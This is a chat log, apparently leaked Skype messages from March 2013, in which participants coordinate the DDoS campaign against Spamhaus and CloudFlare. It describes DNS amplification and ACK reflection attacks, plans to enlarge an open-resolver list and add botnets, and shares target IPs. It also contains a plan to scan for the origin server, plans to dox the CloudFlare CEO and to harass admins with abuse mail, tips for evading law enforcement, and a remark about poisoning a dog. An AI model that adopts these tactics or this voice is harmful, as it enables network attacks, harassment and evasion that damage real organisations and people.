5129[20.03.2013 20:46:38] eDataKing: The DDoS That Knocked Spamhaus Offline (And How We Mitigated It)
5130[20.03.2013 20:46:43] eDataKing: they mitigated it?
5131[20.03.2013 20:46:45] eDataKing: news to me
5132[20.03.2013 20:47:11] eDataKing: hmm
5133[20.03.2013 20:47:12] eDataKing: CloudFlare's own history grew out of Project Honey Pot, which started as an automated service to track the resources used by spammers and publishes the HTTP:BL.
5134[20.03.2013 20:47:21] eDataKing: good data
5135[20.03.2013 20:47:24] eDataKing: didn't know that
5136[20.03.2013 20:48:53] eDataKing: Beginning on March 18th?
5137[20.03.2013 20:48:59] eDataKing: that is factually incorrect
5138[20.03.2013 20:51:11] narko: reading now
5139[20.03.2013 20:51:47] eDataKing: the attack did not start a day before their great admins mitigated it
5140[20.03.2013 20:51:54] eDataKing: is it even mitigated?
5141[20.03.2013 20:52:09] narko:http://getfile0.posterous.com/getfile/files.posterous.com/temp-2013-03-20/lwhhFndFymGjBljDbgFgkFHdHxtDanAdlqGlyqeHqAAmFJgkqIbEHsoIfsmc/spamhaus_ddos_attack.png.scaled1000.png
5142[20.03.2013 20:52:12] narko: hehehehe :)))))))))))))))))))))
5143[20.03.2013 20:52:15] narko: this is like 140Gbps
5144[20.03.2013 20:52:27] eDataKing: lol
5145[20.03.2013 20:52:37] eDataKing: don't look like mitigation to me lol
5146[20.03.2013 20:52:57] eDataKing: Their article almost reads as a challenge
5147[20.03.2013 20:53:14] narko: I stopped the attack
5148[20.03.2013 20:53:16] eDataKing: what a statement it would be to depeer cloudflare
5149[20.03.2013 20:53:19] eDataKing: oh
5150[20.03.2013 20:53:25] narko: i am generating a new dns list. then I will start again and it will be over 200 gbps
5151[20.03.2013 20:53:30] narko: the current list is quite old
5152[20.03.2013 20:53:31] eDataKing: lol
5153[20.03.2013 20:53:34] eDataKing: today or tomorrow?
5154[20.03.2013 20:53:42] eDataKing: gotcha
5155[20.03.2013 20:53:58] narko: today
5156[20.03.2013 20:54:03] narko: they wrote about my ACK reflection
5157[20.03.2013 20:54:03] narko: :(
5158[20.03.2013 20:54:03] eDataKing: do your thing big pimpin' :)
5159[20.03.2013 20:54:13] eDataKing: they will try anything to get you to stop
5160[20.03.2013 20:54:27] eDataKing: do not be pursuaded by terrorists when they cut the head off a soldier
5161[20.03.2013 20:54:41] eDataKing: and certainly don't be in fear of a terrorist that calls you an "insurgent"
5162[20.03.2013 20:55:20] narko:
5163
5164In the Spamhaus case, the attacker was sending requests for the DNS zone file for ripe.net to open DNS resolvers. The attacker spoofed the CloudFlare IPs we'd issued for Spamhaus as the source in their DNS requests.
5165[20.03.2013 20:55:23] narko: they need to not write information like this
5166[20.03.2013 20:55:33] narko: they're just going to give people the information to do more attacks
5167[20.03.2013 20:55:48] eDataKing: I would never have released that
5168[20.03.2013 20:56:05] eDataKing: btw, who is Mathew Prince?
5169[20.03.2013 20:56:28] eDataKing: hmmm, lawyer
5170[20.03.2013 20:56:30] narko: the ceo of honeypotflare
5171[20.03.2013 20:56:36] eDataKing: lol
5172[20.03.2013 20:56:47] eDataKing: wonder if he has a personal blog that is less protected?
5173[20.03.2013 20:56:56] narko: no he will use cloudflare too
5174[20.03.2013 20:57:05] eDataKing: yeah, makes sense
5175[20.03.2013 20:57:20] narko: i'm not happy they posted this information
5176[20.03.2013 20:57:30] eDataKing: ok, then we will do him the old fashioned way
5177[20.03.2013 20:57:31] narko: my attack is well-known in certain groups
5178[20.03.2013 20:57:34] narko: and now everyone knows that i did it
5179[20.03.2013 20:57:43] eDataKing: I'll Dox him, add it to the forum, and make his life a living hell
5180[20.03.2013 20:58:00] eDataKing: everyone in the world knows about it
5181[20.03.2013 20:58:05] eDataKing: Information Week published it
5182[20.03.2013 20:58:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm.
5183[20.03.2013 20:59:07] eDataKing: Harvard Grad
5184[20.03.2013 20:59:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no issues, you're a cyberbunker-citizen :P
5185[20.03.2013 20:59:22] eDataKing: he's a regular Silicone Valley nerd with a hard-on
5186[20.03.2013 20:59:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you can ddos whomever the fuck you want
5187[20.03.2013 21:01:08] Òðûõрøù Ûёûøý: sh down
5188[20.03.2013 21:01:09] Òðûõрøù Ûёûøý: This website is offline
5189No cached version is available
5190What's wrong?
5191The most likely causes:
5192The server is down for maintenance
5193There may be a network problem
5194The site may be experiencing excessive load
5195Retry for a live version of the site
5196What's CloudFlare?
5197This website uses CloudFlare in order to help keep it online when the server is down by serving cached copies of pages when they are unavailable. Unfortunately, a cached copy of the page you requested is not available, but you may be able to reach other cached pages on the site.
5198[20.03.2013 21:08:59] eDataKing: lol,
5199[20.03.2013 21:08:59] eDataKing: This morning at 09:47 UTC CloudFlare effectively dropped off the Internet. The outage affected all of CloudFlare's services including DNS and any services that rely on our web proxy. During the outage, anyone accessing CloudFlare.com or any site on CloudFlare's network would have received a DNS error. Pings and Traceroutes to CloudFlare's network resulted in a "No Route to Host" error.
5200[20.03.2013 21:09:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5201[20.03.2013 21:09:25] eDataKing: sry, that was on 03-03
5202[20.03.2013 21:09:27] eDataKing: not related
5203[20.03.2013 21:09:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: someone was doing it better than narko ?
5204[20.03.2013 21:09:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wth
5205[20.03.2013 21:09:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5206[20.03.2013 21:09:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: get that guy in here too haha
5207[20.03.2013 21:09:57] eDataKing: wait to see what narko does next though
5208[20.03.2013 21:15:03] Yuri: spamhaus down ?
5209[20.03.2013 21:15:07] Yuri: cloudflare shows down
5210[20.03.2013 21:15:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nope
5211[20.03.2013 21:15:38] eDataKing: nope
5212[20.03.2013 21:19:37] narko: we need to find more people.
5213[20.03.2013 21:19:49] narko: cloudflare network just has a lag with my attack
5214[20.03.2013 21:20:00] narko: my attack + some botnets will take them down entirely. then they have no choice but to kick spamhaus
5215[20.03.2013 21:20:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm
5216[20.03.2013 21:21:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you can do tcp attacsks right
5217[20.03.2013 21:21:16] narko: yes
5218[20.03.2013 21:21:27] narko: but it's less effective than udp because they have packet filter rules already for my tcp attacks
5219[20.03.2013 21:21:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not to worry, that kinda shit runs at 300mhz :P
5220[20.03.2013 21:23:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: try 190.93.249.140 179 <any tcp>
5221[20.03.2013 21:23:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and never mind that it won't connect
5222[20.03.2013 21:23:32] Yuri: is it new IP for stophaus.com ?
5223[20.03.2013 21:23:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no
5224[20.03.2013 21:23:50] eDataKing: ok, so we need recruits
5225[20.03.2013 21:23:55] eDataKing: I can handle that.
5226[20.03.2013 21:23:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its the bgp session ip on the cloudflare side
5227[20.03.2013 21:24:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: to ntt
5228[20.03.2013 21:24:10] narko: thats the ip of spamhaus.org
5229[20.03.2013 21:24:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm then they do some really weird shit with ttl
5230[20.03.2013 21:24:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no its not
5231[20.03.2013 21:25:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wow
5232[20.03.2013 21:25:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it is
5233[20.03.2013 21:25:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5234[20.03.2013 21:25:06] narko:
5235cdn-cf.spamhaus.eu. A 30 190.93.248.140
5236cdn-cf.spamhaus.eu. A 30 190.93.249.140
5237[20.03.2013 21:25:41] narko: and they used to be so easy
5238[20.03.2013 21:25:58] narko: back in 2009/2010 you could get someone kicked from cloudflare forever because 10gbps took the entire network off
5239[20.03.2013 21:27:33] eDataKing: The we stress the admins that work for Cloudflare?
5240[20.03.2013 21:27:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just send abusemail :P
5241[20.03.2013 21:27:53] eDataKing: if you can't beat them as a unit, do it like 300 and get into a crevice
5242[20.03.2013 21:27:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5243[20.03.2013 21:28:09] eDataKing: 1-5 admins at a time
5244[20.03.2013 21:28:21] eDataKing: people don't like their work to interfere in their lives...I know first hand
5245[20.03.2013 21:29:36] narko: everyone here is a spammer or knows spammers
5246[20.03.2013 21:29:44] narko: after enough spam to abuse@cloudflare.com they will get tired
5247[20.03.2013 21:29:45] narko: :D
5248[20.03.2013 21:30:41] eDataKing: I met spammers from being on ROKSO
5249[20.03.2013 21:30:45] eDataKing: and Spamhaus enabled that
5250[20.03.2013 21:31:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus indeed, brought us like... 75% more customers as well lol
5251[20.03.2013 21:32:56] eDataKing: not that I got rich because I was not spamming...but I did make more being on ROKSO than not, I am certain of that
5252[20.03.2013 21:33:03] narko: hosting has just lost me money
5253[20.03.2013 21:33:04] narko: :(
5254[20.03.2013 21:36:28] Yuri: looks we could abuse cloudflare legaly and find out from cloudflare the real Ips of spamhaus?
5255[20.03.2013 21:36:58] Yuri: as they disclose IPs from the spamhaus abuse for spamhaus.
5256[20.03.2013 21:37:15] narko: they won't do it
5257[20.03.2013 21:37:18] narko: they know spamhaus is a ddos target
5258[20.03.2013 21:37:21] narko: they will keep the real ip private
5259[20.03.2013 21:39:42] narko: someone buy me a laptop that supports backtrack :P
5260[20.03.2013 21:39:54] narko: i will host 10-20 proxies on all the neighbors in my apartment block
5261[20.03.2013 21:42:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't we just scan the whole god damn ipv4 (as steve doesn't know what ipv6 is anyway) internet... for hosts that say hi on GET / HTTP/1.0 HOST:www.spamhaus.org
5262[20.03.2013 21:42:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then we know the real one.
5263[20.03.2013 21:51:14] narko: http://www.spamhaus.org/sbl/latest/
5264[20.03.2013 21:51:18] narko: they removed the sbl of infium
5265[20.03.2013 21:52:54] eDataKing: so infium must have dropped us
5266[20.03.2013 21:53:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or infium waved the legal department around
5267[20.03.2013 21:54:40] narko: they still didn't remove my sbl! :P
5268[20.03.2013 21:54:42] Yuri: no )
5269[20.03.2013 21:55:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.spamhaus.org/news/article/694/ddos-update-20-march-2013
5270[20.03.2013 22:01:30] eDataKing: They are listening
5271[20.03.2013 22:01:32] eDataKing: that is one demand
5272[20.03.2013 22:01:42] eDataKing: fix the removal systems
5273[20.03.2013 22:05:09] Yuri: http://blog.cloudflare.com/the-ddos-that-knocked-spamhaus-offline-and-ho
5274cloud flare says 80GB/s
5275[20.03.2013 22:05:18] narko: the graph says 120
5276[20.03.2013 22:05:24] narko: dont know why they wrote 80
5277[20.03.2013 22:05:28] narko: then posted a grpah with 120
5278[20.03.2013 22:05:41] Cali: because that was 80+usual ddos.
5279[20.03.2013 22:06:09] Yuri: becouse about 40 was it's own traffic
5280[20.03.2013 22:10:45] Yuri: We recorded over 30,000 unique DNS resolvers involved in the attack.
5281[20.03.2013 22:10:48] narko: :^)
5282[20.03.2013 22:10:56] narko: it's time to update the list.
5283[20.03.2013 22:10:59] Yuri: need to leave for some time
5284[20.03.2013 22:11:02] narko: the list has 200k. but some must be old and dead now.
5285[20.03.2013 22:11:07] narko: ok, goodbye.
5286[20.03.2013 22:11:13] Yuri: i be back (terminator ( c )
5287[20.03.2013 22:11:36] eDataKing: ttyl
5288[20.03.2013 22:24:39] narko: who posted the screenshot on nanae please remove it
5289[20.03.2013 22:24:41] narko: it has written my skype name
5290[20.03.2013 22:24:59] narko: t.ravis
5291[20.03.2013 22:25:04] eDataKing: that was the indian
5292[20.03.2013 22:25:13] eDataKing: you said to post it
5293[20.03.2013 22:25:22] eDataKing: I'll tell him
5294[20.03.2013 22:25:31] eDataKing: I don't think it can be removed though
5295[20.03.2013 22:25:52] eDataKing: argh, why didn't you edit that image?
5296[20.03.2013 22:26:01] eDataKing: I will be sure to check all images from here out
5297[20.03.2013 22:26:11] eDataKing: but doesn't the image only say probing?
5298[20.03.2013 22:26:24] narko: no it has my skype username
5299[20.03.2013 22:26:27] narko: i didn't expcet it to be posted
5300[20.03.2013 22:26:29] narko: i just said
5301[20.03.2013 22:26:31] narko: narko:
5302<<< http://i.imgur.com/prDIVYU.png -- current status
5303[20.03.2013 22:27:51] Yuri: don't see any info on screenshot
5304[20.03.2013 22:28:09] eDataKing: I see all but the last digit
5305[20.03.2013 22:28:16] eDataKing: enough to run a trace on that skype account
5306[20.03.2013 22:28:28] eDataKing: but nothing incriminating
5307[20.03.2013 22:28:48] eDataKing: don't they already blame you though?
5308[20.03.2013 22:28:59] narko: no one on nanae/spamhaus knows about me
5309[20.03.2013 22:29:03] eDataKing: I'll tell the indian to wait for approval bwefore posting anything else
5310[20.03.2013 22:29:16] eDataKing: I will also look at the images if there are any more screens
5311[20.03.2013 22:29:38] eDataKing: can you grab a new skype account and nix this one just in case?
5312[20.03.2013 22:29:44] narko: i am just worried. because it has my skype name < i am uploaded the image from my home connection, and FBI in USA already has a case on me ddosing before, they were going to people in america and asking them questions about me
5313[20.03.2013 22:29:44] narko: no
5314[20.03.2013 22:29:45] narko: its fine for me
5315[20.03.2013 22:29:48] narko: for now *
5316[20.03.2013 22:29:50] eDataKing: you said this one was for this session only right?
5317[20.03.2013 22:29:53] narko: yes
5318[20.03.2013 22:30:22] eDataKing: the image won't have any hex code though because it is on imgur
5319[20.03.2013 22:30:24] Yuri: other solution - is to upload same imase from other IPs
5320[20.03.2013 22:30:31] eDataKing: yes
5321[20.03.2013 22:30:36] Yuri: so they have to think who is that was...
5322[20.03.2013 22:30:41] eDataKing: oh, gotcha
5323[20.03.2013 22:30:44] eDataKing: yeah
5324[20.03.2013 22:31:13] eDataKing: I am so used to be completly anon that I would have never imagined you imported that from home
5325[20.03.2013 22:31:54] eDataKing: can you delete it from imgur?
5326[20.03.2013 22:32:30] eDataKing: I want to mitigate any issues because the indian is my dude and I feel responsible for what he did
5327[20.03.2013 22:32:34] narko: no
5328[20.03.2013 22:32:37] narko: nothing will happen
5329[20.03.2013 22:32:41] narko: nothing has ever happened
5330[20.03.2013 22:32:45] eDataKing: ok, so you are ok?
5331[20.03.2013 22:32:48] eDataKing: I agree
5332[20.03.2013 22:32:58] eDataKing: Only nanae and Spamhaus talking shit
5333[20.03.2013 22:32:59] narko: yes. the police in my area don't even know what a ddos is
5334[20.03.2013 22:33:02] eDataKing: nothing else has ever happened
5335[20.03.2013 22:33:09] narko: it was the FBi that was interested in me. and that's in another coutnry USA :P
5336[20.03.2013 22:33:56] eDataKing: The FBI are intrested in everyone
5337[20.03.2013 22:34:15] narko:
5338Isn't port sniffing an unlawful activity?
5339[20.03.2013 22:34:16] narko: lol
5340[20.03.2013 22:34:20] narko: from nanae
5341[20.03.2013 22:34:24] narko: (rofl)(rofl)
5342[20.03.2013 22:40:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the fbi can't do shit as spamhaus themselves already stated not to be subject to us laws
5343[20.03.2013 22:40:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in the e360 case
5344[20.03.2013 22:40:22] narko: not about spamhaus
5345[20.03.2013 22:40:25] narko: about me
5346[20.03.2013 22:40:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh you are in the us?
5347[20.03.2013 22:40:33] narko: no
5348[20.03.2013 22:40:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well then, too bad for those upgraded traffic cops
5349[20.03.2013 22:40:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5350[20.03.2013 22:40:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fbi has nothing to say anywhere outside of the usa
5351[20.03.2013 22:40:58] narko: but I ran an illegal site (carding, ddos, etc) from 2010-2012 and 90% customers were US
5352[20.03.2013 22:41:00] eDataKing: if the FBI ever asked me about Spamhaus I would ask them what their EIN number is and I would only know them by that. lol
5353[20.03.2013 22:41:12] narko: FBI took kids from school, took adults from work, asked them questions about my site
5354[20.03.2013 22:41:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well their citizens not sticking to their law in their own country is their problem, not yours
5355[20.03.2013 22:41:15] narko: and they raided a customer
5356[20.03.2013 22:41:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5357[20.03.2013 22:41:22] narko: and he went to court. and hee was 14 years old. lol
5358[20.03.2013 22:41:51] eDataKing: I am sure they will ask, but plausible deniability is a beautiful thing in America
5359[20.03.2013 22:42:04] eDataKing: where a warrant is not as easy to get as a Patriot Act letter
5360[20.03.2013 22:42:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if the fbi ever comes to ask anything i'll ask them if they have a work permit for that eu country and have them deported for being illegal immigrants :P
5361[20.03.2013 22:42:21] narko: :D
5362[20.03.2013 22:42:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their 3 months shengen stay does not allow them to work after all
5363[20.03.2013 22:42:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: asking questions = work
5364[20.03.2013 22:42:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5365[20.03.2013 22:43:15] eDataKing: yeah right, because Spamhaus really "works with the FBI"?
5366[20.03.2013 22:43:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lets just put it this way... everyone i asked has no problem with the demise of spamhaus :P
5367[20.03.2013 22:44:26] eDataKing: same here, John Caldwell of Red Pill said he would like nothing more than to see Spamhaus down
5368[20.03.2013 22:44:29] narko: i became a valium addict because of the constant fear
5369[20.03.2013 22:44:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5370[20.03.2013 22:44:35] eDataKing: but he does not have the guts to say that in public
5371[20.03.2013 22:44:44] eDataKing: those were his words, not mine
5372[20.03.2013 22:45:14] narko: since my site got listed on spamhaus
5373[20.03.2013 22:45:29] narko: i have a sudden influx of customers using vpns and paying with liberty reserve
5374[20.03.2013 22:45:30] narko: lol
5375[20.03.2013 22:45:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah me too :P
5376[20.03.2013 22:47:54] narko: my company address is now in UK. and I have no problems
5377[20.03.2013 22:48:00] narko: but before I was using a address in USA
5378[20.03.2013 22:51:04] narko: someone is attacking my home internet
5379[20.03.2013 22:51:11] narko: with 12Mbps
5380[20.03.2013 22:51:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: how cute
5381[20.03.2013 22:51:14] eDataKing: new gmail account, only signed up for google, yahoo, facebook, twitter, skype, linkedin, and got a domain from GD with it
5382[20.03.2013 22:51:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5383[20.03.2013 22:52:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i have 1 email address per supplier and most go /dev/null
5384[20.03.2013 22:57:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually most of my homedirs are on ramdrive...
5385[20.03.2013 22:58:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and the ones that are not get wiped every reboot.. same for wtmp, utmp, lastlog, syslog crap, .ssh dirs (keys!) ,etc
5386[20.03.2013 22:58:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we run most of our -own- servers of cf cards, its pretty much -all- read only and ramdrives :P
5387[20.03.2013 22:58:44] narko: why do you need to do this in a nuclear bunker
5388[20.03.2013 22:58:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as else you kill the cf cards in like 10k writes
5389[20.03.2013 22:58:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5390[20.03.2013 22:59:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: because our safehouses and embassies are not.
5391[20.03.2013 23:04:33] narko: will try to attack CF again soon. when new list is completed.
5392[20.03.2013 23:04:42] narko: also got the network connections of the servers changed from cogent to level3
5393[20.03.2013 23:08:08] Yuri: may be try to fuck one IP by one ?
5394[20.03.2013 23:08:13] Yuri: from the CDN
5395[20.03.2013 23:08:17] eDataKing: lol
5396[20.03.2013 23:32:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus asking people to "donate 1000s of euros to a foundation of their choice" to get delisted?
5397[20.03.2013 23:37:22] NM: hahaha))) russian cybercrime=)
5398[20.03.2013 23:38:07] NM: because im from russia
5399[20.03.2013 23:42:40] *** MikeRomero quit ***
5400[21.03.2013 00:06:52] Yuri: +1
5401[21.03.2013 00:06:52] narko:
5402<<< stophaus.com. A 900 95.31.27.22
5403stophaus.com. A 900 91.220.163.241
5404stophaus.com. A 900 77.51.201.120
5405[21.03.2013 00:07:10] Yuri: anybody want to be listed for nothing? give me more Ips for proxing :)
5406[21.03.2013 00:07:27] narko: if I had dynamic IP, would run proxy on my home server. but I have static
5407[21.03.2013 00:07:35] narko: :|
5408[21.03.2013 00:07:54] Yuri: i use static ips from home lans
5409[21.03.2013 00:08:15] narko: if my static ip is added to rokso or spamhaus i will not be able to sign up to many companies
5410[21.03.2013 00:08:57] eDataKing: yes you will
5411[21.03.2013 00:09:02] eDataKing: I have never not been able to
5412[21.03.2013 00:09:07] narko: this proxy 77.51.201.120 is not working
5413[21.03.2013 00:09:12] narko: it redirect to beeline.ru
5414[21.03.2013 00:09:13] eDataKing: they only responded AFTER a threat from SH was sent
5415[21.03.2013 00:12:09] Yuri: i check
5416[21.03.2013 02:29:59] Yuri: i do export of all spamhaus added networks from our database
5417[21.03.2013 02:30:13] eDataKing: :)
5418[21.03.2013 02:30:18] eDataKing: I am reviewing them
5419[21.03.2013 02:30:19] eDataKing: good data
5420[21.03.2013 02:30:29] Yuri: i try to put them in google docs account
5421[21.03.2013 02:30:29] eDataKing: I know how to build a strong case against them with this
5422[21.03.2013 02:30:33] Yuri: and show you 1st
5423[21.03.2013 02:30:37] eDataKing: :)
5424[21.03.2013 02:57:07] Yuri: https://docs.google.com/spreadsheet/ccc?key=0Aiki68gTXMcndHBBMUVULVVJMklvNC1XWjZOdmtyc0E&usp=sharing
5425new one link for full list of all networks listed by spamhaus
5426[21.03.2013 02:58:04] Yuri: what note shall we put in the above list?
5427[21.03.2013 02:58:44] eDataKing: This is a link that everyone here should be clicking and looking at.
5428[21.03.2013 02:58:58] Yuri: ok
5429[21.03.2013 02:59:36] Antitheist: Yuri does that includes all?
5430[21.03.2013 02:59:44] Yuri: only networks
5431[21.03.2013 03:29:16] narko: http://www.spamhaus.org/sbl/latest/
5432[21.03.2013 03:29:23] narko: their activity is greatly reduced since yesterday
5433[21.03.2013 03:29:32] narko: before - they added 20 SBL every hour
5434[21.03.2013 03:29:46] Yuri: usually that had 130-200sbls per day
5435[21.03.2013 03:40:43] narko: well i'm going to sleep
5436[21.03.2013 03:40:49] narko: wll attack cloudflare again tomorrow :)
5437[21.03.2013 03:41:14] eDataKing: gn and have a good night's sleep
5438[21.03.2013 03:41:23] Yuri: let's do some PR, i did 2 posts on twitte
5439[21.03.2013 03:41:31] narko: i won't sleep well until i kill my neighbor's dog
5440[21.03.2013 03:41:45] Yuri: today people retwitt cloudflare's ddos.
5441[21.03.2013 03:41:55] Yuri: they just have nothing to do just retwitt
5442[21.03.2013 03:42:00] eDataKing: oh, there is a good chemical for that. Used to smoke out groundhogs with it
5443[21.03.2013 03:56:43] eDataKing: UPDATE (22:52 UTC) SBL and PBL removals are working normally. CBL website and removals are coming up soon.
5444
5445UPDATE (00:29 21 Mar) CBL website is up but DNS is still propogating. When you reach it, removals should work.
5446[21.03.2013 03:57:33] Yuri: aha
5447[21.03.2013 03:57:45] Yuri: i do some twitts
5448[21.03.2013 05:41:45] Yuri: i am off
5449[21.03.2013 07:23:37] edataking: http://tinyurl.com/sblpublic
5450[21.03.2013 07:23:47] edataking: Press Release STOPhaus
5451[21.03.2013 10:00:21] eDataKing: CBL (cbl,http://t.co/M9Jz8KKvi5) is up again, after a heavy DDOS. It is now protected through amazon cloud. #spamhaus
5452[21.03.2013 10:14:19] simomchen: so , SH have separated , and protedted by 2 cloud ?
5453[21.03.2013 10:14:54] eDataKing: yep
5454[21.03.2013 10:15:10] eDataKing: but they are only buying a short amlunt of time really
5455[21.03.2013 10:16:23] simomchen: they must have a contract with cloudflare and amazon , once ddos leave over 7 days. maybe , they will break the contract with these 2 companies
5456[21.03.2013 10:20:32] eDataKing: they will always respond to an attack, I expected them to mitigate
5457[21.03.2013 10:20:48] eDataKing: they had to and it took longer than anyone expected it to.
5458[21.03.2013 10:20:59] eDataKing: But that's ok. There are so many other vulnerabilities
5459[21.03.2013 10:21:14] eDataKing: are they going to put Wordtothewise.com on Cloudflare as well?
5460[21.03.2013 10:21:41] eDataKing: What about ToastedSPAM?
5461[21.03.2013 10:21:56] eDataKing: They going to start protecting Kelly Chien of Chienworks as well?
5462[21.03.2013 10:22:08] eDataKing: No, they will always have areas to hit them
5463[21.03.2013 11:48:00] cb3rob: but those 100 or so gbit, should be able to get their 8 main nameservers down.
5464[21.03.2013 11:48:12] cb3rob: as those most likely are just on 1000base, or 2x1000base each
5465[21.03.2013 11:48:27] eDataKing: true
5466[21.03.2013 11:49:59] cb3rob: oh wait they moved 4 of those to amazon as well :/
5467[21.03.2013 11:50:13] eDataKing: the CBL went to amazon
5468[21.03.2013 11:50:31] eDataKing: Did some of the spamhaus.org DNS go there as well?
5469[21.03.2013 11:51:20] cb3rob: why not take their 70 nameservers down one by one.
5470[21.03.2013 11:51:25] cb3rob: until their 'sponsors' give up
5471[21.03.2013 11:51:29] cb3rob: then the next one
5472[21.03.2013 11:51:46] eDataKing: wouldn't they mitigate faster than take downs
5473[21.03.2013 11:52:01] eDataKing: sounds great if it can be done
5474[21.03.2013 11:52:09] cb3rob: on lame sponsored dedicated server? no
5475[21.03.2013 11:52:18] cb3rob: at some point they'll run out of people willing to sponsor them
5476[21.03.2013 11:52:19] cb3rob: :P
5477[21.03.2013 11:52:30] cb3rob: especially since now they're well known for receiving 100gbit ddos attacks haha
5478[21.03.2013 11:52:36] eDataKing: lol
5479[21.03.2013 13:13:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: called the ICO yet? :P
5480[21.03.2013 13:13:32] narko: (whew)
5481[21.03.2013 13:13:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they still did not meet our demands and removed entire rokso, amongst other things
5482[21.03.2013 13:13:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5483[21.03.2013 13:13:56] narko: they don't answer the telephone
5484[21.03.2013 13:14:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the ico? the ico does answer the telephone
5485[21.03.2013 13:14:12] narko: no
5486[21.03.2013 13:14:22] narko: action fraud is who i called. they don't anwer the telephone
5487[21.03.2013 13:14:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5488[21.03.2013 13:14:37] narko: but ICO i didn't try
5489[21.03.2013 13:14:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: too much fraud going on
5490[21.03.2013 13:15:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically its the task of the ico to make sure random people like spamhaus don't set up websites where they gather and maintain databases, and most of all not publish them... with personal details
5491[21.03.2013 13:15:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: such as, andrews... on rokso :P
5492[21.03.2013 13:16:22] narko: oh
5493[21.03.2013 13:16:36] narko: i will call
5494[21.03.2013 13:16:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: for which ofcourse, the ico can impose some nice FINES
5495[21.03.2013 13:16:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with a lot of 0's behind them
5496[21.03.2013 13:17:28] narko: then they will say
5497[21.03.2013 13:17:34] narko: We're bankrupt! closing the company.
5498[21.03.2013 13:17:44] narko: and Spamhaus ProjectS Ltd will open up
5499[21.03.2013 13:19:10] Antitheist: congratilations narko your SBL was removed
5500[21.03.2013 13:19:25] narko: after 3 days :P I'm still moving. I have server from new DC in russia now
5501[21.03.2013 13:19:31] Antitheist: pin?
5502[21.03.2013 13:19:34] narko: yes
5503[21.03.2013 13:20:02] narko: I will not deal with the british datacenters any more
5504[21.03.2013 13:20:08] narko: even swiftway didn't give a shit about the SBL
5505[21.03.2013 13:20:18] narko: but Racksrv treats it like they're the secret police
5506[21.03.2013 13:20:22] narko: :^)
5507[21.03.2013 13:20:38] Antitheist: just as 90% of DCs
5508[21.03.2013 13:20:44] Antitheist: thats why we have this conference
5509[21.03.2013 13:22:58] narko: I was thinking while i was sleeping
5510[21.03.2013 13:23:05] narko: why not destroy spamhaus by creating a better alternative
5511[21.03.2013 13:23:23] Antitheist: there is
5512[21.03.2013 13:23:32] Antitheist: many of them, its called a real antispam
5513[21.03.2013 13:23:35] Antitheist: like on gmail
5514[21.03.2013 13:23:44] narko: lol
